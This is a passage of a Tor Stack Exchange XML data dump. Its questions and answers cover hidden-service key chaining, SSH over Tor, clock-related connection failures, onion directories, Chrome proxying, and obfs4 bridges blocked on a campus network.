  <row Id="7174" PostTypeId="1" CreationDate="2015-07-07T18:05:22.763" Score="1" ViewCount="380" Body="&lt;p&gt;Can a certificate chain be used for a hidden service's private key? It would be nice to be able to periodically re-sign a public key and upload it to the host. This would mean that in the case of the private key on the host being compromised, it is only valid for a short amount of time, due to the manual reauthorization process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure of the correct terminology to use, so I'll try to explain it with some examples and my reasoning behind wanting this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Host:&lt;/strong&gt; I am &lt;code&gt;ONION_ADDRESS&lt;/code&gt;, my public key is &lt;code&gt;HOST_PUBLIC_KEY&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;HSDir:&lt;/strong&gt; I don't trust that public key.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Host:&lt;/strong&gt; Here is the signature from root key &lt;code&gt;ROOT_PUBLIC_KEY&lt;/code&gt;: &lt;code&gt;SIGNED_HOST_PUBLIC_KEY&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Depending on whether the signature has expired:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;HSDir:&lt;/strong&gt; &lt;code&gt;ROOT_PUBLIC_KEY&lt;/code&gt; is valid, and that signature is valid. Go ahead.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;HSDir:&lt;/strong&gt; &lt;code&gt;ROOT_PUBLIC_KEY&lt;/code&gt; is valid, but that signature has expired. Goodbye.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ROOT_PRIVATE_KEY&lt;/code&gt; is stored on a machine under physical control of the hidden service operator. The remote host is considered the weakest point. Should the remote host be compromised, all that can be obtained is &lt;code&gt;HOST_PRIVATE_KEY&lt;/code&gt; (and of course &lt;code&gt;HOST_PUBLIC_KEY&lt;/code&gt;), and the &lt;code&gt;SIGNED_HOST_PUBLIC_KEY&lt;/code&gt;. Due to the signature being created with an expiry date, the adversary can only masquerade as the hidden service for as long as &lt;code&gt;SIGNED_HOST_PUBLIC_KEY&lt;/code&gt; remains valid. Should the hidden service operator become aware of the host becoming compromised, he would not renew the signature. Once the &lt;code&gt;SIGNED_HOST_PUBLIC_KEY&lt;/code&gt; expires, due to the absence of a renewed signature, &lt;code&gt;HOST_PUBLIC_KEY&lt;/code&gt; will not be trusted, resulting in the adversary's loss of control of the hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this is to limit the impact which a compromise would have. Further, once &lt;code&gt;SIGNED_HOST_PUBLIC_KEY&lt;/code&gt; expires, the hidden service operator can regain exclusive control of the &lt;code&gt;.onion&lt;/code&gt; address &amp;ndash; it would not be necessary for a &lt;strong&gt;new&lt;/strong&gt; &lt;code&gt;.onion&lt;/code&gt; to be created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there currently any methods (or any planned methods) which would allow for the host to be given partial/temporary authority to serve as the hidden service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/q/6060&quot;&gt;Protecting Hidden services .onion private key from your host&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/q/44&quot;&gt;Are there any good practices to keep my Tor relay&amp;#39;s private key safe?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7674" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-07-07T18:05:22.763" Title="Hidden service private key chain" Tags="|onion-services|security|private-key|certificate|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7177" PostTypeId="1" CreationDate="2015-07-08T10:17:01.323" Score="1" ViewCount="6113" Body="&lt;p&gt;I am trying to create ssh tunnel over tor on Windows machine using Cygwin. I first start Tor service, tor.exe is running on local port 9151. But how to create the ssh tunnel? If i type &lt;code&gt;ssh user@xx.xx.xx -D 9151&lt;/code&gt; it says that the address is already in use and it can not implement local forwarding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the right way to implement ssh tunneling over tor to remote server? &lt;/p&gt;&#xA;" OwnerUserId="7584" LastEditorUserId="7584" LastEditDate="2015-07-08T10:43:54.853" LastActivityDate="2015-07-08T13:14:52.390" Title="SSH tunneling over Tor?" Tags="|ssh|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-08T19:21:22.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="7178" PostTypeId="1" CreationDate="2015-07-08T10:45:11.777" Score="0" ViewCount="565" Body="&lt;p&gt;After i connected to the tor network,it seems i can't access anything.&#xA;Here is the log-file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/8/2015 6:49:33 AM.170 [NOTICE] Bootstrapped 85%: Finishing handshake with first hop &#xA;7/8/2015 6:49:33 AM.360 [NOTICE] Bootstrapped 90%: Establishing a Tor circuit &#xA;7/8/2015 6:49:36 AM.746 [NOTICE] Tor has successfully opened a circuit. Looks like client functionality is working. &#xA;7/8/2015 6:49:36 AM.746 [NOTICE] Bootstrapped 100%: Done &#xA;7/8/2015 6:49:43 AM.695 [WARN] Our clock is 1 hours, 10 minutes behind the time published in the consensus network status document (2015-07-08 08:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;7/8/2015 6:49:43 AM.695 [NOTICE] Our directory information is no longer up-to-date enough to build circuits: We have no recent usable consensus. &#xA;7/8/2015 6:49:43 AM.695 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;7/8/2015 6:49:44 AM.740 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;7/8/2015 6:50:00 AM.735 [NOTICE] New control connection opened from 127.0.0.1. &#xA;7/8/2015 6:50:07 AM.340 [NOTICE] New control connection opened from 127.0.0.1. &#xA;7/8/2015 6:51:36 AM.140 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;7/8/2015 6:56:55 AM.930 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/8/2015 6:57:37 AM.299 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 6:58:55 AM.359 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 6:58:55 AM.359 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 7:06:55 AM.500 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;7/8/2015 7:13:35 AM.801 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/8/2015 7:15:35 AM.321 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 7:15:35 AM.321 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 7:20:01 AM.159 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/8/2015 7:22:01 AM.305 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 7:22:01 AM.305 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 7:22:01 AM.313 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/8/2015 7:22:26 AM.878 [WARN] Our clock is 1 hours, 37 minutes behind the time published in the consensus network status document (2015-07-08 09:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;7/8/2015 7:22:26 AM.878 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;7/8/2015 7:24:01 AM.314 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 7:37:20 AM.694 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;7/8/2015 8:02:26 AM.677 [WARN] Our clock is 1 hours, 57 minutes behind the time published in the consensus network status document (2015-07-08 10:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;7/8/2015 8:02:26 AM.678 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;7/8/2015 8:31:19 AM.876 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/8/2015 8:31:19 AM.927 [WARN] Rejecting SOCKS request for anonymous connection to private address [scrubbed]. &#xA;7/8/2015 8:33:19 AM.418 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/8/2015 8:34:55 AM.836 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again. &#xA;7/8/2015 8:35:19 AM.753 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 8:36:55 AM.760 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;7/8/2015 8:36:55 AM.760 [NOTICE] Tried for 120 seconds to get a connection to [scrubbed]:443. Giving up. (waiting for circuit) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7809" LastEditorUserId="3788" LastEditDate="2015-07-09T12:52:39.837" LastActivityDate="2015-08-08T13:45:32.803" Title="Tor network, Connection has timed out" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-04-29T18:02:26.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="7179" PostTypeId="1" CreationDate="2015-07-08T13:03:41.513" Score="0" ViewCount="232" Body="&lt;p&gt;I am brand new and I cant find a directory to any websites except &lt;a href=&quot;http://f6xtnh7l6ddsfzgy.onion/&quot; rel=&quot;nofollow&quot;&gt;http://f6xtnh7l6ddsfzgy.onion/&lt;/a&gt; ...helppp!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cant seem to find any url because i simply dont know what to do or where to look or search&lt;/p&gt;&#xA;" OwnerUserId="7810" LastActivityDate="2015-07-08T13:31:11.340" Title="I cant seem to find a link directory" Tags="|help|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-16T21:47:51.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="7180" PostTypeId="2" ParentId="7177" CreationDate="2015-07-08T13:14:52.390" Score="0" Body="&lt;p&gt;This has been asked in the past: &lt;a href=&quot;https://tor.stackexchange.com/questions/123/how-can-i-anonymize-my-ssh-traffic-using-the-tor-network&quot;&gt;How can I anonymize my SSH traffic using the Tor network?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also some SSH-related details on the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/Misc#SSH&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, Googling something along the lines of &quot;&lt;a href=&quot;https://www.google.co.uk/search?q=using%20ssh%20over%20tor&amp;amp;rls=com.microsoft:en-GB:%7Breferrer:source?%7D&amp;amp;ie=UTF-8&amp;amp;oe=UTF-8&amp;amp;sourceid=ie7&amp;amp;rlz=1I7SKPT_en&amp;amp;gfe_rd=cr&amp;amp;ei=YyCdVaWCFOSq8wedsYGYDw&amp;amp;gws_rd=ssl&quot; rel=&quot;nofollow noreferrer&quot;&gt;using SSH over Tor&lt;/a&gt;&quot; provides a lot of results, including a number of how-tos.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-07-08T13:14:52.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7181" PostTypeId="2" ParentId="7179" CreationDate="2015-07-08T13:31:11.340" Score="2" Body="&lt;p&gt;Have a look at the following previous questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/4619/how-do-i-find-onion-sites&quot;&gt;How do I find onion sites?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/3896/where-i-can-find-export-or-download-the-biggest-list-of-all-onion-addresses&quot;&gt;Where I can find, export or download the biggest list of all .onion addresses?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/7142/how-to-search-internet&quot;&gt;How to search internet&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have trouble connecting to any of the hidden services (i.e. &lt;code&gt;.onion&lt;/code&gt; sites) that these previous answers mention, then it's likely that the sites are down, as described here: &lt;a href=&quot;https://tor.stackexchange.com/questions/4598/most-onion-sites-i-am-trying-to-access-are-unavailable-why-and-how-can-i-solve&quot;&gt;Most .onion sites I am trying to access are unavailable: Why and how can I solve this?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-07-08T13:31:11.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7182" PostTypeId="2" ParentId="6887" CreationDate="2015-07-08T13:35:52.003" Score="6" Body="&lt;p&gt;It is repeatedly warning you about the time being wrong. A synchronized clock is extremely important to make a connection to anything even if you've been able to download all of the consensus information. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/8/2015 6:49:43 AM.695 [WARN] Our clock is 1 hours, 10 minutes behind the time published in the consensus network status document (2015-07-08 08:00:00 UTC).  Tor needs an accurate clock to work correctly. Please check your time and date settings! &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fix your clock so that it has accurate time in an appropriate timezone (e.g. UTC). If you're using a virtual machine, consider different ways of making sure the clock has synced. Otherwise you'll just have to manually fix it each time. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-07-08T13:35:52.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7183" PostTypeId="1" CreationDate="2015-07-08T19:13:26.473" Score="1" ViewCount="1131" Body="&lt;p&gt;On which side of the circuit does the RP get selected? Is it a random node that the client making the connection to the HS selects or something decided at one of the IPs or by the HS itself?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-07-19T00:03:24.677" Title="What establishes the Rendezvous Point when connecting to a Hidden Service" Tags="|onion-services|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7184" PostTypeId="1" CreationDate="2015-07-08T20:32:15.323" Score="1" ViewCount="504" Body="&lt;p&gt;What is the maximum number of hidden services DHT (Distributed Hash Table) can hold? Who maintains the directory? What stops anyone from creating a huge list of hidden services (onion addresses) that don't really exist? I understand it is not possible to spoof them as the name is validated using public key.&lt;/p&gt;&#xA;" OwnerUserId="6890" LastEditorUserId="4894" LastEditDate="2015-07-09T12:52:46.463" LastActivityDate="2015-07-09T12:52:46.463" Title="How is hidden service directory protected from DOS?" Tags="|onion-services|directory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7185" PostTypeId="1" CreationDate="2015-07-08T22:32:29.753" Score="1" ViewCount="1330" Body="&lt;p&gt;I tried method 1 from here: &lt;a href=&quot;http://justplainobvious.blogspot.co.il/2011/03/how-to-configure-google-chrome-for-tor.html&quot; rel=&quot;nofollow&quot;&gt;http://justplainobvious.blogspot.co.il/2011/03/how-to-configure-google-chrome-for-tor.html&lt;/a&gt; but it doesn't work. When I check my ip in &lt;a href=&quot;http://whatismyip.com&quot; rel=&quot;nofollow&quot;&gt;http://whatismyip.com&lt;/a&gt; it remains the same.&lt;/p&gt;&#xA;" OwnerUserId="7813" LastActivityDate="2016-03-07T17:50:41.883" Title="How to initialize chrome with tor proxy from command line?" Tags="|web-proxy|chrome|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7186" PostTypeId="2" ParentId="7184" CreationDate="2015-07-09T09:14:46.890" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the maximum number of hidden services DHT (Distributed Hash Table) can hold?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Theoretically, the whole hash space.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Who maintains the directory?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All HSDir relays.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What stops anyone from creating a huge list of hidden services (onion addresses) that don't really exist?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nothing.&lt;br&gt;&#xA;However, HSDirs are still protected from this kind of DoS. Hidden services have entry in the DHT only when they are active. How can an attacker keep so many hidden services alive before making huge loads to the directory?&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2015-07-09T09:14:46.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7187" PostTypeId="1" CreationDate="2015-07-09T10:34:06.310" Score="1" ViewCount="639" Body="&lt;p&gt;I have WiFi connected in my android device with proxy setting. How do I use Tor with this? I tried with localhost and port 8118 but it is not working.&lt;/p&gt;&#xA;" OwnerUserId="7815" LastEditorUserId="350" LastEditDate="2015-07-09T17:30:04.977" LastActivityDate="2015-07-09T17:30:04.977" Title="How to use orbot / tor with proxy nased wifi on android?" Tags="|orbot|android|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7188" PostTypeId="2" ParentId="7166" CreationDate="2015-07-09T12:06:56.470" Score="0" Body="&lt;p&gt;Firefox talk through your Tor.exe and through the Tor network to a web server. So it is normal that both Tor.exe and Firefox.exe send/receive data. Firefox should only communicate with Tor tho, not with the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the 'outside' Tor.exe is a Tor client talking to the Tor network.&lt;br&gt;&#xA;On the 'inside', Tor.exe is a socks5 proxy.&lt;br&gt;&#xA;Firefox.exe is the browser. It talks to the socks5 proxy.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Firefox] &amp;lt;--&amp;gt; [Tor proxy | Tor client] &amp;lt;--&amp;gt; [Guard node] &amp;lt;--&amp;gt; [...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What Firefox sends should be the same amount that Tor receives on the inside (socks5 proxy).&lt;br&gt;&#xA;What Firefox receives should be the same amount that Tor sends on the inside (socks5 proxy).&lt;br&gt;&#xA;Tor.exe on the outside (Tor client) should have approximately the same numbers as Firefox, but a bit higher because of the overhead of onion layers.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-07-09T12:06:56.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7189" PostTypeId="2" ParentId="7185" CreationDate="2015-07-09T15:11:53.357" Score="2" Body="&lt;p&gt;[My answer assumes you're trying to use Chrome as a replacement for the TBB, to the same anonymous ends.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To cut a long story short: don't use Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you get it &quot;working&quot;, your privacy won't be as protected as it is when using the Tor Browser Bundle and the modified version of Firefox contained therein.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details on why not to use Chrome, see the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor FAQ&lt;/a&gt; (which itself links to and article on the Tor Blog describing &lt;a href=&quot;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&quot; rel=&quot;nofollow noreferrer&quot;&gt;the problems with Chrome&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information about the changes that have gone into Firefox - and therefore what isn't present in Chrome - this thread would be a good place to start:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/6589/what-are-the-changes-made-to-firefox-in-the-tbb/6591#6591&quot;&gt;What are the changes made to Firefox in the TBB?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-07-09T15:11:53.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7191" PostTypeId="1" AcceptedAnswerId="7302" CreationDate="2015-07-10T12:37:38.730" Score="6" ViewCount="6307" Body="&lt;p&gt;I faced a problem when Tor, which used to work for ages at campus of my friend (he updated it regularly), just stopped working one day. I did the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded latest Tor at home. Configured it to use ports 80, 443 and default obfs4 bridges.&lt;/li&gt;&#xA;&lt;li&gt;Started the browser at home and ensured that it was working&lt;/li&gt;&#xA;&lt;li&gt;Copied tor browser folder to flash drive&lt;/li&gt;&#xA;&lt;li&gt;Brought it to my friend's campus (tons of sites are blocked there)&lt;/li&gt;&#xA;&lt;li&gt;Copied the folder from flash to his PC&lt;/li&gt;&#xA;&lt;li&gt;Started the Tor as usual. It used the settings which worked fine at home. But this time it wasn't able to connect. After waiting for several minutes and seeing the warning icon in status window I hit configuration button and again configured Tor to use obfs4 bridges. It again wasn't able to connect.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Below is the log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/10/2015 15:24:38 PM.129 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/10/2015 15:24:38 PM.129 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/10/2015 15:24:46 PM.198 [NOTICE] Bridge at '104.131.108.182:56880' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;7/10/2015 15:24:46 PM.198 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6) &#xA;7/10/2015 15:24:46 PM.198 [NOTICE] Bridge at '83.212.101.3:41213' isn't reachable by our firewall policy. Asking bridge authority instead. &#xA;7/10/2015 15:24:46 PM.198 [NOTICE] While fetching directory info, no running dirservers known. Will try again later. (purpose 6) &#xA;7/10/2015 15:24:46 PM.198 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;7/10/2015 15:24:46 PM.200 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;7/10/2015 15:24:46 PM.237 [WARN] Proxy Client: unable to connect to 178.209.52.110:443 (&quot;general SOCKS server failure&quot;) &#xA;7/10/2015 15:24:46 PM.237 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/10/2015 15:24:47 PM.179 [NOTICE] Delaying directory fetches: No running bridges &#xA;7/10/2015 15:26:58 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;7/10/2015 15:26:58 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/10/2015 15:26:58 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;7/10/2015 15:27:42 PM.657 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/10/2015 15:27:42 PM.657 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/10/2015 15:27:42 PM.657 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/10/2015 15:27:42 PM.657 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/10/2015 15:27:49 PM.288 [WARN] Proxy Client: unable to connect to 178.209.52.110:443 (&quot;general SOCKS server failure&quot;) &#xA;7/10/2015 15:28:10 PM.243 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;7/10/2015 15:28:10 PM.244 [WARN] Proxy Client: unable to connect to 83.212.101.3:41213 (&quot;general SOCKS server failure&quot;) &#xA;7/10/2015 15:28:10 PM.244 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/10/2015 15:28:11 PM.151 [NOTICE] Delaying directory fetches: No running bridges &#xA;7/10/2015 15:30:59 PM.312 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;7/10/2015 15:30:59 PM.312 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/10/2015 15:30:59 PM.312 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't get it. Why &lt;code&gt;DisableNetwork&lt;/code&gt; gets set if I did nothing with Tor at home?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, I have tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Repeated all of the steps above but downloaded Tor 5.0 (alpha)&lt;/li&gt;&#xA;&lt;li&gt;Used obfs3 bridges - same errors.&lt;/li&gt;&#xA;&lt;li&gt;Used custom bridges for obfs4 transport (got them from bridges@torproject email) - same errors&lt;/li&gt;&#xA;&lt;li&gt;MOST FUNNY THING - for each of the servers from the log I am able to do a tenet on the specified port successfully.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;UPDATE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried meek-google as suggested in answer, but it fails (I made 2 attempts). Google is available but GMail is not. Honestly I got much the same message when I use ANY transport except obfs3(4) - fte, flashproxy etc. Just the host changes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/24/2015 19:19:26 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/24/2015 19:19:26 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/24/2015 19:19:26 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/24/2015 19:19:26 PM.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/24/2015 19:19:31 PM.300 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;7/24/2015 19:19:31 PM.400 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;7/24/2015 19:19:31 PM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 1; recommendation warn; host 46D4A71197B8FA515A826C6B017C522FE264655B at 0.0.2.0:1) &#xA;7/24/2015 19:19:31 PM.800 [WARN] 1 connections have failed: &#xA;7/24/2015 19:19:31 PM.800 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;7/24/2015 19:19:55 PM.400 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 2; recommendation warn; host 46D4A71197B8FA515A826C6B017C522FE264655B at 0.0.2.0:1) &#xA;7/24/2015 19:19:55 PM.400 [WARN] 2 connections have failed: &#xA;7/24/2015 19:19:55 PM.400 [WARN]  2 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7821" LastEditorUserId="88" LastEditDate="2016-04-29T17:57:30.797" LastActivityDate="2016-04-29T17:57:30.797" Title="Tor 4.5.3 - obfs4 bridges can't connect to network" Tags="|tor-browser-bundle|bridge|network-configuration|obfs4|" AnswerCount="1" CommentCount="9" ClosedDate="2017-05-09T12:13:12.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="7193" PostTypeId="2" ParentId="7185" CreationDate="2015-07-11T10:52:03.990" Score="0" Body="&lt;p&gt;I don't really have the answer you want but have two options for you:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You may try configuring your whole computer to connect to Internet and route all connection via a Tor-ed device (e.g, another Tails PC). As it has been done in this paper: (&lt;a href=&quot;http://goo.gl/41LR7a&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Tor-Based Anonymous Communication Approach to Secure Smart Home Appliances&lt;/a&gt;). However, it seems like you need a lot of engineering effort to set up such a system.&lt;/li&gt;&#xA;&lt;li&gt;You may try buying this &lt;a href=&quot;http://goo.gl/P2BO3N&quot; rel=&quot;nofollow noreferrer&quot;&gt;Safeplug&lt;/a&gt;. It acts as your Tor-Proxy just within some easy configuration steps.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Best Regards.&lt;/p&gt;&#xA;" OwnerUserId="5202" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" 